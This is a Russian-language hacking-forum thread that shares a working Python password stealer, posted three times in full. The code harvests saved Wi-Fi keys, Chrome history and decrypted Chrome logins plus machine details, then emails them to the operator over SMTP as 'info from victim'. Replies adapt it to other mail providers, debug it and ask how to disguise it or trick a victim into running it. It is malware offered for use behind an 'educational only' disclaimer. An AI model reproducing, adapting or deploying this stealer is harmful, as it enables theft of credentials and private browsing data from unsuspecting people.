ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Инструменты (https://forum.antichat.xyz/forumdisplay.php?f=176)
-   -   Стиллер паролей на python с отправкой на почту (https://forum.antichat.xyz/showthread.php?t=1632520)

GunQuest 12.03.2020 18:24

Стиллер с отправкой паролей на электронную почту. Очень прост в использовании.

Python:


Код:

#!/usr/bin/python
import
smtplib
import
base64
,
os
,
sys
,
re
import
sqlite3
import
socket
import
platform
import
uuid

sender
=
''
reciever
=
''
password
=
''
# Dont change this
marker
=
"Morwy"
def
wifipass
(
)
:
def
get_wlans
(
)
:
data
=
os
.
popen
(
"netsh wlan show profiles"
)
.
read
(
)
wifi
=
re
.
compile
(
"All User Profile\s*:.(.*)"
)
return
wifi
.
findall
(
data
)
def
get_pass
(
network
)
:
try
:
wlan
=
os
.
popen
(
"netsh wlan show profile "
+
str
(
network
.
replace
(
" "
,
"*"
)
)
+
" key=clear"
)
.
read
(
)
pass_regex
=
re
.
compile
(
"Key Content\s*:.(.*)"
)
return
pass_regex
.
search
(
wlan
)
.
group
(
1
)
except
:
return
" "
f
=
open
(
"wifi.txt"
,
"w"
)
for
wlan
in
get_wlans
(
)
:
f
.
write
(
"-----------\n"
+
" SSID : "
+
wlan
+
"\n Password : "
+
get_pass
(
wlan
)
)
f
.
close
(
)
wifipass
(
)
################ CHROME ################
################  CODE  ################
################  HERE  ################
def
history
(
)
:
import
operator
from
collections
import
OrderedDict
#import matplotlib.pyplot as plt
def
parse
(
url
)
:
try
:
parsed_url_components
=
url
.
split
(
'//'
)
sublevel_split
=
parsed_url_components
[
1
]
.
split
(
'/'
,
1
)
domain
=
sublevel_split
[
0
]
.
replace
(
"www."
,
""
)
return
domain
except
IndexError
:
print
(
"URL format error!"
)
def
analyze
(
results
)
:
b
=
open
(
"chrome1.txt"
,
"w"
)
for
site
,
count
in
sites_count_sorted
.
items
(
)
:
#print site, count
b
.
write
(
site
+
"\n"
)
#path to user's history database (Chrome)
b
.
close
(
)
data_path
=
os
.
path
.
expanduser
(
'~'
)
+
r"\AppData\Local\Google\Chrome\User Data\Default"
files
=
os
.
listdir
(
data_path
)
history_db
=
os
.
path
.
join
(
data_path
,
'history'
)
#querying the db
c
=
sqlite3
.
connect
(
history_db
)
cursor
=
c
.
cursor
(
)
select_statement
=
"SELECT urls.url, urls.visit_count FROM urls, visits WHERE urls.id = visits.url;"
cursor
.
execute
(
select_statement
)
results
=
cursor
.
fetchall
(
)
sites_count
=
{
}
for
url
,
count
in
results
:
url
=
parse
(
url
)
if
url
in
sites_count
:
sites_count
[
url
]
+=
1
else
:
sites_count
[
url
]
=
1
sites_count_sorted
=
OrderedDict
(
sorted
(
sites_count
.
items
(
)
,
key
=
operator
.
itemgetter
(
1
)
,
reverse
=
True
)
)
analyze
(
sites_count_sorted
)
################ CHROME ################
################  CODE  ################
################  HERE  ################
history
(
)
def
chrome
(
)
:
import
os
,
sqlite3
,
win32crypt
  data
=
os
.
path
.
expanduser
(
'~'
)
+
r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
connection
=
sqlite3
.
connect
(
data
)
cursor
=
connection
.
cursor
(
)
cursor
.
execute
(
'SELECT action_url, username_value, password_value FROM logins'
)
final_data
=
cursor
.
fetchall
(
)
a
=
open
(
"chrome.txt"
,
"w"
)
a
.
write
(
"Extracted chrome passwords :\n"
)
for
website_data
in
final_data
:
password
=
win32crypt
.
CryptUnprotectData
(
website_data
[
2
]
,
None
,
None
,
None
,
0
)
[
1
]
one
=
"Website  : "
+
str
(
website_data
[
0
]
)
two
=
"Username : "
+
str
(
website_data
[
1
]
)
three
=
"Password : "
+
str
(
password
)
a
.
write
(
one
+
"\n"
+
two
+
"\n"
+
three
)
a
.
write
(
"\n"
+
"====="
*
10
+
"\n"
)
a
.
close
(
)
chrome
(
)
################  EMAIL ################
################  CODE  ################
################  HERE  ################
filename
=
"wifi.txt"
fo
=
open
(
filename
,
"rb"
)
filecontent
=
fo
.
read
(
)
encodedcontent
=
base64
.
b64encode
(
filecontent
)
body
=
"""
New stuff info from victim
"""
part1
=
"""From: Victim <>
To: Filip <>
Subject: Victim wifi
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
"""
%
(
marker
,
marker
)
part2
=
"""Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
"""
%
(
body
,
marker
)
part3
=
"""Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
"""
%
(
filename
,
filename
,
encodedcontent
,
marker
)
message
=
part1
+
part2
+
part3
try
:
smtpObj
=
smtplib
.
SMTP
(
'smtp.gmail.com:587'
)
smtpObj
.
starttls
(
)
smtpObj
.
login
(
sender
,
password
)
smtpObj
.
sendmail
(
sender
,
reciever
,
message
)
fo
.
close
(
)
os
.
remove
(
"wifi.txt"
)
except
Exception
:
print
(
"Error: unable to send email"
)
#################################################
filename
=
"chrome1.txt"
fo1
=
open
(
filename
,
"rb"
)
filecontent
=
fo1
.
read
(
)
encodedcontent
=
base64
.
b64encode
(
filecontent
)
body
=
"""
New stuff info from victim - History
"""
part1
=
"""From: Victim <>
To: Filip <>
Subject: Victim chrome history
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
"""
%
(
marker
,
marker
)
part2
=
"""Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
"""
%
(
body
,
marker
)
part3
=
"""Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
"""
%
(
filename
,
filename
,
encodedcontent
,
marker
)
message
=
part1
+
part2
+
part3
try
:
smtpObj
=
smtplib
.
SMTP
(
'smtp.gmail.com:587'
)
smtpObj
.
starttls
(
)
smtpObj
.
login
(
sender
,
password
)
smtpObj
.
sendmail
(
sender
,
reciever
,
message
)
#print "Successfully sent email"
fo1
.
close
(
)
os
.
remove
(
"chrome1.txt"
)
except
Exception
:
print
(
"Error: unable to send email"
)
###########################################
filename
=
"chrome.txt"
fo
=
open
(
filename
,
"rb"
)
filecontent
=
fo
.
read
(
)
encodedcontent
=
base64
.
b64encode
(
filecontent
)
body
=
"""
New stuff info from victim
===========================
Name: %s
FQDN: %s
System Platform: %s
Machine: %s
Node: %s
Platform: %s
Pocessor: %s
System OS: %s
Release: %s
Version: %s
"""
%
(
socket
.
gethostname
(
)
,
socket
.
getfqdn
(
)
,
sys
.
platform
,
platform
.
machine
(
)
,
platform
.
node
(
)
,
platform
.
platform
(
)
,
platform
.
processor
(
)
,
platform
.
system
(
)
,
platform
.
release
(
)
,
platform
.
version
(
)
)
###########
part1
=
"""From: Victim <>
To: Filip <>
Subject: Victim saved pass
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
"""
%
(
marker
,
marker
)
part2
=
"""Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
"""
%
(
body
,
marker
)
part3
=
"""Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
"""
%
(
filename
,
filename
,
encodedcontent
,
marker
)
message
=
part1
+
part2
+
part3
try
:
smtpObj
=
smtplib
.
SMTP
(
'smtp.gmail.com:587'
)
smtpObj
.
starttls
(
)
smtpObj
.
login
(
sender
,
password
)
smtpObj
.
sendmail
(
sender
,
reciever
,
message
)
fo
.
close
(
)
os
.
remove
(
"chrome.txt"
)
except
Exception
:
print
(
"Error: unable to send email"
)

Просто скачайте файл InfoStealer - Github edition .py

И измените все 3 параметра на свои: отправитель
Код:

= 'Login@gmail.com


'

Код:

reciever = 'receiver@gmail.com'
пароль = «ваш пароль»

Готово!

P.S Это фикс какого-то не рабочего стиллера.

Внимание! Предоставлено только в ознакомительных целях. Живите по закону и никому не вредите

Мой проект на гитхабе: Morwenns/Stealer

Roman_Dev 13.03.2020 12:41

Не плохо

R3M1X 13.03.2020 12:51

Цитата:


GunQuest сказал(а):

Стиллер с отправкой паролей на электронную почту. Очень прост в использовании


Отлично! Такой вопрос, данный стиллер работает со всеми почтами, или только с google?

Butch_ 13.03.2020 14:07

Цитата:


R3M1X сказал(а):

данный стиллер работает со всеми почтами, или только с google?


Можно так же работать с mail.ru, yandex.ru, для этого нужно заменить:
smtpObj = smtplib.SMTP('smtp.gmail.com:587')

для mail.ru на:
smtpObj = smtplib.SMTP('smtp.mail.ru:25')

для yandex.ru на:
smtpObj = smtplib.SMTP('smtp.yandex.ru:465')

GunQuest 13.03.2020 14:40

Цитата:


R3M1X сказал(а):

Отлично! Такой вопрос, данный стиллер работает со всеми почтами, или только с google?


Только с почтой google (для других почт нужно немного изменить код).

Если у кого то появятся вопросы - пишите, всем отвечу!

PenLord 20.03.2020 09:52

Цитата:


GunQuest сказал(а):

Если у кого то появятся вопросы - пишите, всем отвечу!


Получены файлы со стиллера, пришли на почту. Но прикол в том, что они приходят зашифрованными, как их расшифровать?

GunQuest 20.03.2020 10:04

Цитата:


Aimmisie сказал(а):

Получены файлы со стиллера, пришли на почту. Но прикол в том, что они приходят зашифрованными, как их расшифровать?


Открой арихив.

PenLord 20.03.2020 13:32

Цитата:


GunQuest сказал(а):

Открой арихив.


Какой архив?

GunQuest 20.03.2020 14:33

Цитата:


Aimmisie сказал(а):

Какой архив?


Скинь скрин, что тебе приходит на почту.

PenLord 20.03.2020 19:35

Цитата:


GunQuest сказал(а):

Скинь скрин, что тебе приходит на почту.


Уно моменто.

Цитата:


GunQuest сказал(а):

Скинь скрин, что тебе приходит на почту.


И так ещё с историей, хотя wifi нормально приходит, и если не отправлять сообщения по почте и открыть txt просто на пк - они читаются нормально.

Ardddz 22.03.2020 17:50

Цитата:


GunQuest сказал(а):

Код:


Код:

#!/usr/bin/python
import smtplib
import base64, os, sys, re
import sqlite3
import socket
import platform
import uuid

sender = ''
reciever = ''
password = ''
# Dont change this
marker = "Morwy"

def wifipass():
  def get_wlans():
      data = os.popen("netsh wlan show profiles").read()
      wifi = re.compile("All User Profile\s*:.(.*)")
      return wifi.findall(data)

  def get_pass(network):
      try:
        wlan = os.popen("netsh wlan show profile "+str(network.replace(" ","*"))+" key=clear").read()
        pass_regex = re.compile("Key Content\s*:.(.*)")
        return pass_regex.search(wlan).group(1)
      except:
        return " "

  f = open("wifi.txt","w")
  for wlan in get_wlans():
      f.write("-----------\n"+" SSID : "+wlan + "\n Password : " + get_pass(wlan))
  f.close()

wifipass()

################ CHROME ################
################  CODE  ################
################  HERE  ################
def history():
  import operator
  from collections import OrderedDict
#import matplotlib.pyplot as plt

  def parse(url):
          try:
                  parsed_url_components = url.split('//')
                  sublevel_split = parsed_url_components[1].split('/', 1)
                  domain = sublevel_split[0].replace("www.", "")
                  return domain
          except IndexError:
                  print ("URL format error!")

  def analyze(results):
      b=open("chrome1.txt","w")
      for site, count in sites_count_sorted.items():
        #print site, count
        b.write(site + "\n")
#path to user's history database (Chrome)
      b.close()
  data_path = os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default"
  files = os.listdir(data_path)
  history_db = os.path.join(data_path, 'history')
#querying the db
  c = sqlite3.connect(history_db)
  cursor = c.cursor()
  select_statement = "SELECT urls.url, urls.visit_count FROM urls, visits WHERE urls.id = visits.url;"
  cursor.execute(select_statement)
  results = cursor.fetchall()
  sites_count = {}
  for url, count in results:
          url = parse(url)
          if url in sites_count:
                  sites_count[url] += 1
          else:
                  sites_count[url] = 1
  sites_count_sorted = OrderedDict(sorted(sites_count.items(), key=operator.itemgetter(1), reverse=True))
  analyze (sites_count_sorted)
################ CHROME ################
################  CODE  ################
################  HERE  ################
history()
def chrome():
  import os,sqlite3,win32crypt
  data=os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
  connection = sqlite3.connect(data)
  cursor = connection.cursor()
  cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  final_data=cursor.fetchall()
  a=open("chrome.txt","w")
  a.write("Extracted chrome passwords :\n")
  for website_data in final_data:
      password = win32crypt.CryptUnprotectData(website_data[2], None, None, None, 0)[1]
      one="Website  : "+str(website_data[0])
      two="Username : "+str(website_data[1])
      three="Password : "+str(password)
      a.write(one+"\n"+two+"\n"+three)
      a.write("\n"+"====="*10+"\n")
  a.close()

chrome()

################  EMAIL ################
################  CODE  ################
################  HERE  ################
filename = "wifi.txt"
fo = open(filename, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)

body = """
New stuff info from victim
"""
part1 = """From: Victim <>
To: Filip <>
Subject: Victim wifi
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)

part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
""" % (body,marker)

part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
""" %(filename, filename, encodedcontent, marker)

message = part1 + part2 + part3

try:
  smtpObj = smtplib.SMTP('smtp.gmail.com:587')
  smtpObj.starttls()
  smtpObj.login(sender, password)
  smtpObj.sendmail(sender, reciever, message)
  fo.close()
  os.remove("wifi.txt")
except Exception:
  print ("Error: unable to send email")
#################################################
filename = "chrome1.txt"
fo1 = open(filename, "rb")
filecontent = fo1.read()
encodedcontent = base64.b64encode(filecontent)

body = """
New stuff info from victim - History
"""
part1 = """From: Victim <>
To: Filip <>
Subject: Victim chrome history
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)

part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
""" % (body,marker)

part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
""" %(filename, filename, encodedcontent, marker)

message = part1 + part2 + part3

try:
  smtpObj = smtplib.SMTP('smtp.gmail.com:587')
  smtpObj.starttls()
  smtpObj.login(sender, password)
  smtpObj.sendmail(sender, reciever, message)
  #print "Successfully sent email"
  fo1.close()
  os.remove("chrome1.txt")
except Exception:
  print ("Error: unable to send email")
###########################################
filename = "chrome.txt"
fo = open(filename, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)

body = """
New stuff info from victim
===========================
Name: %s
FQDN: %s
System Platform: %s
Machine: %s
Node: %s
Platform: %s
Pocessor: %s
System OS: %s
Release: %s
Version: %s
""" % (socket.gethostname(), socket.getfqdn(), sys.platform,platform.machine(),platform.node(),platform.platform(),platform.processor(),platform.system(),platform.release(),platform.version()) ###########
part1 = """From: Victim <>
To: Filip <>
Subject: Victim saved pass
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)

part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
""" % (body,marker)

part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
""" %(filename, filename, encodedcontent, marker)

message = part1 + part2 + part3

try:
  smtpObj = smtplib.SMTP('smtp.gmail.com:587')
  smtpObj.starttls()
  smtpObj.login(sender, password)
  smtpObj.sendmail(sender, reciever, message)
  fo.close()
  os.remove("chrome.txt")
except Exception:
  print ("Error: unable to send email")

Стиллер с отправкой паролей на электронную почту. Очень прост в использовании

Просто скачайте файл InfoStealer - Github edition .py

И измените все 3 параметра на свои: отправитель = 'Login@gmail.com'

reciever = 'receiver@gmail.com'

пароль = «ваш пароль»

Готово!

P.S Это фикс какого-то не рабочего стиллера.

Внимание! Предоставлено только в ознакомительных целях. Живите по закону и никому не вредите

Мой проект на гитхабе: Morwenns/Stealer

Привет, а библиотеки важно устанавливать?

Volstiny 12.04.2020 17:13

етот сииллер уже не будет работаь на хроме v80

Vag 26.05.2020 15:23

Всем доброго времени суток. Я очень извиняюсь, это всё сохранить в каком формате?
И вот еще вопрос.

И измените все 3 параметра на свои: отправитель = 'Login@gmail.com' - мой майл.

reciever = 'receiver@gmail.com' - а сюда какой майл писать?

пароль = «ваш пароль» ( от моего майла )

Готово!

GunQuest 26.05.2020 17:12

Цитата:


Vag сказал(а):

Всем доброго времени суток. Я очень извиняюсь, это всё сохранить в каком формате?


.py

staxanovec 03.06.2020 13:15

Правильно я понимаю, что ограничений на каком железе и ОС будут запускать разн вы нет? На всех будет исправно работать?

Павел9856 26.06.2020 10:34

Это делается в командной строке?

От администратора или нет?

отправитель = 'ту что писать?Или ка есть оставить,то есть вот так:Login@gmail.com?
reciever = 'моя почта'
пароль = «ваш пароль»

GreenTea 02.11.2020 18:42

извиняюсь, но появились некоторые вопросы

И измените все 3 параметра на свои: отправитель = 'Login@gmail.com' - что тут писaть? или просто остaвить тaк?

reciever = 'receiver@gmail.com' - моя почтa

пароль = «ваш пароль» - мой пaроль от почты, это понятно

gg sana 20.11.2020 20:32

что нужно писать в строке sender = '' ?

mergenchi 20.11.2020 22:13

Цитата:


gg sana сказал(а):

что нужно писать в строке sender = '' ?


почту отправителя

kamzzzzz 25.11.2020 22:14

боже мой, ТС оставил ссылку на свой гитхаб, и если хотя бы чууууууть-чуть, ну прям чууууть-чуть включить мозг и перейти по ней, то можно найти и стилл с поддержкой телеги, что сейчас считается очень модно, что поддержку Хромиума 80+, но люди упорно продолжают думать (на серьезных щах) какую почту и куда вводить: не нужен Вам такой софт

Матвей Моничев 30.11.2020 15:42

Простите, а как исправить ошибку sqlite3.OperationalError: database is locked

mergenchi 30.11.2020 15:50

Цитата:


Матвей Моничев сказал(а):

Простите, а как исправить ошибку sqlite3.OperationalError: database is locked


возможно в коде где-то не закрыт курсор от sqlite.

VankaIE 23.03.2021 17:22

а если этот стиллер *.py склеить с изображением (скрыть), сработает ли он? а как он на мобильном устройстве поведет себя?

Егор Шелковенко 23.10.2021 14:58

Цитата:


GunQuest сказал(а):

Только с почтой google (для других почт нужно немного изменить код).

Если у кого то появятся вопросы - пишите, помоги скачать Елин#2293 дс



MLNK 23.10.2021 17:22

немного поправил оформление темы

MySystem32 22.06.2022 18:37

Цитата:


GunQuest сказал(а):

password = win32crypt.CryptUnprotectData(website_data[2], None, None, None, 0)[1]


У меня почему-то не работает этот кусочек кода который расшифровывает login data.
Он мне выводит ошибку - 87, Crypto, Параметры не заданые верно.

Как решить это? У меня не как не получается его расшифровать....

KOLLIAK 25.03.2023 17:13

Цитата:


GunQuest сказал(а):

Стиллер с отправкой паролей на электронную почту. Очень прост в использовании.

Python:


Код:

#!/usr/bin/python
import
smtplib
import
base64
,
os
,
sys
,
re
import
sqlite3
import
socket
import
platform
import
uuid

sender
=
''
reciever
=
''
password
=
''
# Dont change this
marker
=
"Morwy"
def
wifipass
(
)
:
def
get_wlans
(
)
:
data
=
os
.
popen
(
"netsh wlan show profiles"
)
.
read
(
)
wifi
=
re
.
compile
(
"All User Profile\s*:.(.*)"
)
return
wifi
.
findall
(
data
)
def
get_pass
(
network
)
:
try
:
wlan
=
os
.
popen
(
"netsh wlan show profile "
+
str
(
network
.
replace
(
" "
,
"*"
)
)
+
" key=clear"
)
.
read
(
)
pass_regex
=
re
.
compile
(
"Key Content\s*:.(.*)"
)
return
pass_regex
.
search
(
wlan
)
.
group
(
1
)
except
:
return
" "
f
=
open
(
"wifi.txt"
,
"w"
)
for
wlan
in
get_wlans
(
)
:
f
.
write
(
"-----------\n"
+
" SSID : "
+
wlan
+
"\n Password : "
+
get_pass
(
wlan
)
)
f
.
close
(
)
wifipass
(
)
################ CHROME ################
################  CODE  ################
################  HERE  ################
def
history
(
)
:
import
operator
from
collections
import
OrderedDict
#import matplotlib.pyplot as plt
def
parse
(
url
)
:
try
:
parsed_url_components
=
url
.
split
(
'//'
)
sublevel_split
=
parsed_url_components
[
1
]
.
split
(
'/'
,
1
)
domain
=
sublevel_split
[
0
]
.
replace
(
"www."
,
""
)
return
domain
except
IndexError
:
print
(
"URL format error!"
)
def
analyze
(
results
)
:
b
=
open
(
"chrome1.txt"
,
"w"
)
for
site
,
count
in
sites_count_sorted
.
items
(
)
:
#print site, count
b
.
write
(
site
+
"\n"
)
#path to user's history database (Chrome)
b
.
close
(
)
data_path
=
os
.
path
.
expanduser
(
'~'
)
+
r"\AppData\Local\Google\Chrome\User Data\Default"
files
=
os
.
listdir
(
data_path
)
history_db
=
os
.
path
.
join
(
data_path
,
'history'
)
#querying the db
c
=
sqlite3
.
connect
(
history_db
)
cursor
=
c
.
cursor
(
)
select_statement
=
"SELECT urls.url, urls.visit_count FROM urls, visits WHERE urls.id = visits.url;"
cursor
.
execute
(
select_statement
)
results
=
cursor
.
fetchall
(
)
sites_count
=
{
}
for
url
,
count
in
results
:
url
=
parse
(
url
)
if
url
in
sites_count
:
sites_count
[
url
]
+=
1
else
:
sites_count
[
url
]
=
1
sites_count_sorted
=
OrderedDict
(
sorted
(
sites_count
.
items
(
)
,
key
=
operator
.
itemgetter
(
1
)
,
reverse
=
True
)
)
analyze
(
sites_count_sorted
)
################ CHROME ################
################  CODE  ################
################  HERE  ################
history
(
)
def
chrome
(
)
:
import
os
,
sqlite3
,
win32crypt
  data
=
os
.
path
.
expanduser
(
'~'
)
+
r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
connection
=
sqlite3
.
connect
(
data
)
cursor
=
connection
.
cursor
(
)
cursor
.
execute
(
'SELECT action_url, username_value, password_value FROM logins'
)
final_data
=
cursor
.
fetchall
(
)
a
=
open
(
"chrome.txt"
,
"w"
)
a
.
write
(
"Extracted chrome passwords :\n"
)
for
website_data
in
final_data
:
password
=
win32crypt
.
CryptUnprotectData
(
website_data
[
2
]
,
None
,
None
,
None
,
0
)
[
1
]
one
=
"Website  : "
+
str
(
website_data
[
0
]
)
two
=
"Username : "
+
str
(
website_data
[
1
]
)
three
=
"Password : "
+
str
(
password
)
a
.
write
(
one
+
"\n"
+
two
+
"\n"
+
three
)
a
.
write
(
"\n"
+
"====="
*
10
+
"\n"
)
a
.
close
(
)
chrome
(
)
################  EMAIL ################
################  CODE  ################
################  HERE  ################
filename
=
"wifi.txt"
fo
=
open
(
filename
,
"rb"
)
filecontent
=
fo
.
read
(
)
encodedcontent
=
base64
.
b64encode
(
filecontent
)
body
=
"""
New stuff info from victim
"""
part1
=
"""From: Victim <>
To: Filip <>
Subject: Victim wifi
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
"""
%
(
marker
,
marker
)
part2
=
"""Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
"""
%
(
body
,
marker
)
part3
=
"""Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
"""
%
(
filename
,
filename
,
encodedcontent
,
marker
)
message
=
part1
+
part2
+
part3
try
:
smtpObj
=
smtplib
.
SMTP
(
'smtp.gmail.com:587'
)
smtpObj
.
starttls
(
)
smtpObj
.
login
(
sender
,
password
)
smtpObj
.
sendmail
(
sender
,
reciever
,
message
)
fo
.
close
(
)
os
.
remove
(
"wifi.txt"
)
except
Exception
:
print
(
"Error: unable to send email"
)
#################################################
filename
=
"chrome1.txt"
fo1
=
open
(
filename
,
"rb"
)
filecontent
=
fo1
.
read
(
)
encodedcontent
=
base64
.
b64encode
(
filecontent
)
body
=
"""
New stuff info from victim - History
"""
part1
=
"""From: Victim <>
To: Filip <>
Subject: Victim chrome history
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
"""
%
(
marker
,
marker
)
part2
=
"""Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
"""
%
(
body
,
marker
)
part3
=
"""Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
"""
%
(
filename
,
filename
,
encodedcontent
,
marker
)
message
=
part1
+
part2
+
part3
try
:
smtpObj
=
smtplib
.
SMTP
(
'smtp.gmail.com:587'
)
smtpObj
.
starttls
(
)
smtpObj
.
login
(
sender
,
password
)
smtpObj
.
sendmail
(
sender
,
reciever
,
message
)
#print "Successfully sent email"
fo1
.
close
(
)
os
.
remove
(
"chrome1.txt"
)
except
Exception
:
print
(
"Error: unable to send email"
)
###########################################
filename
=
"chrome.txt"
fo
=
open
(
filename
,
"rb"
)
filecontent
=
fo
.
read
(
)
encodedcontent
=
base64
.
b64encode
(
filecontent
)
body
=
"""
New stuff info from victim
===========================
Name: %s
FQDN: %s
System Platform: %s
Machine: %s
Node: %s
Platform: %s
Pocessor: %s
System OS: %s
Release: %s
Version: %s
"""
%
(
socket
.
gethostname
(
)
,
socket
.
getfqdn
(
)
,
sys
.
platform
,
platform
.
machine
(
)
,
platform
.
node
(
)
,
platform
.
platform
(
)
,
platform
.
processor
(
)
,
platform
.
system
(
)
,
platform
.
release
(
)
,
platform
.
version
(
)
)
###########
part1
=
"""From: Victim <>
To: Filip <>
Subject: Victim saved pass
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
"""
%
(
marker
,
marker
)
part2
=
"""Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
"""
%
(
body
,
marker
)
part3
=
"""Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
"""
%
(
filename
,
filename
,
encodedcontent
,
marker
)
message
=
part1
+
part2
+
part3
try
:
smtpObj
=
smtplib
.
SMTP
(
'smtp.gmail.com:587'
)
smtpObj
.
starttls
(
)
smtpObj
.
login
(
sender
,
password
)
smtpObj
.
sendmail
(
sender
,
reciever
,
message
)
fo
.
close
(
)
os
.
remove
(
"chrome.txt"
)
except
Exception
:
print
(
"Error: unable to send email"
)

Просто скачайте файл InfoStealer - Github edition .py

И измените все 3 параметра на свои: отправитель
Код:

= 'Login@gmail.com


'

Код:

reciever = 'receiver@gmail.com'
пароль = «ваш пароль»

Готово!

P.S Это фикс какого-то не рабочего стиллера.

Внимание! Предоставлено только в ознакомительных целях. Живите по закону и никому не вредите

Мой проект на гитхабе: Morwenns/Stealer

Я вроде бы всё сделал, вписываю nano filename", но ничего не происходит, в чем причина?

pon pon 10.02.2024 19:38

что писать в строку sender какую почту отправителя жертвы тоесть?

wrxxer 16.05.2024 22:09

как его запустить надо чтобы кто-то открыл файл либо же возможно его как-то замаскировать?


Время: 20:54